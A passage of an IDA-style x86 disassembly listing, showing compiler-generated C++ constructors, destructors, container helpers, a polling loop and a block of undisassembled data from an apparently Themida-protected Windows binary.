		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6ECB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F60


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F60


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_418880	db 10h dup(0CCh)	; DATA XREF: Themida_:005D32DEo
					; Themida_:005D32E2o ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


